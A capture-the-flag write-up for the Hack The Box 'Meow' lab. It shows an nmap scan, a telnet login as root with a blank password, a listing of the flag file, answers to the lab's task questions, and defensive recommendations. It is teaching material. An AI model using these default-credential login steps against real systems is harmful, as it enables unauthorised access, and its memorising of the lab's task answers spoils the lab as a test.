Meow is a Very Easy Linux box that demonstrates the critical security risk of default credentials. The machine has only one open port (23/TCP - Telnet) and allows root login with a blank password.
This exposes the fundamental principle that even a single misconfiguration can lead to complete system compromise.

Path to root, at a glance:

  • Scan the target → discover open port 23 (Telnet)
  • Connect via Telnet → login as root with blank password
  • Read the flag from root’s home directory

Nmap

┌──(r3vpwnx㉿r3vpwnx)-[~/CTF/HTB/Meow]
└─$ sudo nmap -Pn -A 10.129.118.250
Starting Nmap 7.99 ( https://nmap.org ) at 2021-09-30 15:09 -0400
Stats: 0:01:37 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 66.75% done; ETC: 15:11 (0:00:49 remaining)
Nmap scan report for 10.129.118.250
Host is up (0.61s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
23/tcp open telnet Linux telnetd
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 1025/tcp)
HOP RTT ADDRESS
1 508.58 ms 10.10.14.1
2 508.52 ms 10.129.118.250

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 148.03 seconds

The scan reveals a single open port: 23/tcp (Telnet). No other services are running, which makes Telnet the only attack vector.

The Service

Telnet is a legacy protocol that transmits all data—including credentials—in plaintext. More critically, many systems with Telnet enabled are either:

  • Intended for internal use with default credentials
  • Legacy systems with poor security configurations
  • Training/CTF machines deliberately left vulnerable

Exploitation: Telnet with Default Credentials

Connection Attempt

Since the machine is named “Meow” and only has Telnet exposed, the logical first step is to attempt a connection and test common default credentials:

┌──(r3vpwnx㉿r3vpwnx)-[~/CTF/HTB/Meow]
└─$ telnet 10.129.118.250
Trying 10.129.118.250...
Connected to 10.129.118.250.
Escape character is '^]'.
root

I entered root as the username and left the password blank. The system accepted this immediately.

We’re now logged in as root with full system access.

Finding the Flag

After gaining root access, I listed the contents of the root directory to locate the flag:

root@Meow:~# ls -al
total 36
drwx------ 5 root root 4096 Jun 18 2021 .
drwxr-xr-x 20 root root 4096 Jul 7 2021 ..
lrwxrwxrwx 1 root root 9 Jun 4 2021 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3132 Oct 6 2020 .bashrc
drwx------ 2 root root 4096 Apr 21 2021 .cache
-rw-r--r-- 1 root root 33 Jun 17 2021 flag.txt
drwxr-xr-x 3 root root 4096 Apr 21 2021 .local
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
-rw-r--r-- 1 root root 75 Mar 26 2021 .selected_editor
drwxr-xr-x 3 root root 4096 Apr 21 2021 snap

The flag is clearly visible in flag.txt. Reading it reveals the root flag:

root@Meow:~# cat flag.txt 
b40ab*******************a4c19
image

Task Answers

1 What does VM stand for? Virtual Machine
2 What tool do we use to interact with the OS via command line? Terminal
3 What service forms our VPN connection into HTB labs? OpenVPN
4 What tool tests connection with ICMP echo request? ping
5 Most common tool for finding open ports? nmap
6 What service is on port 23/tcp? Telnet
7 What username logs in with blank password? root
8 Submit the flag: b40ab*******************a4c19

Why It Worked (Key Vulnerabilities)

  1. Default Credentials
    The most critical vulnerability was allowing root login with a blank password. This is a fundamental security failure that should never exist in production systems.

  2. Telnet Protocol
    Telnet transmits all data unencrypted, including passwords. While not directly exploited here (since no password was needed), this would make credential interception trivial on an untrusted network.

  3. Root Access by Default
    Root is the most privileged account on any Unix/Linux system. Allowing direct root login (especially with no password) gives attackers complete control over the system.

Security Recommendations

  • Disable Telnet entirely - Replace with SSH for secure remote access
  • Enforce strong passwords - Use password policies requiring minimum complexity
  • Disable root login - Use sudo with non-privileged accounts instead
  • Implement authentication controls - Use multi-factor authentication where possible
  • Regular security audits - Scan for open ports and default credentials
  • Apply security updates - The system had 75 pending updates, including 31 security patches

Lessons Learned

This machine, despite being “Very Easy,” demonstrates a real-world vulnerability pattern:

  • IoT devices often ship with default credentials and Telnet enabled
  • Legacy systems frequently retain insecure services
  • Training environments sometimes mirror production misconfigurations
  • One vulnerability can lead to complete compromise

The complete compromise from a single open port with default credentials shows why security fundamentals—like disabling unnecessary services and enforcing authentication—remain critical in modern infrastructure.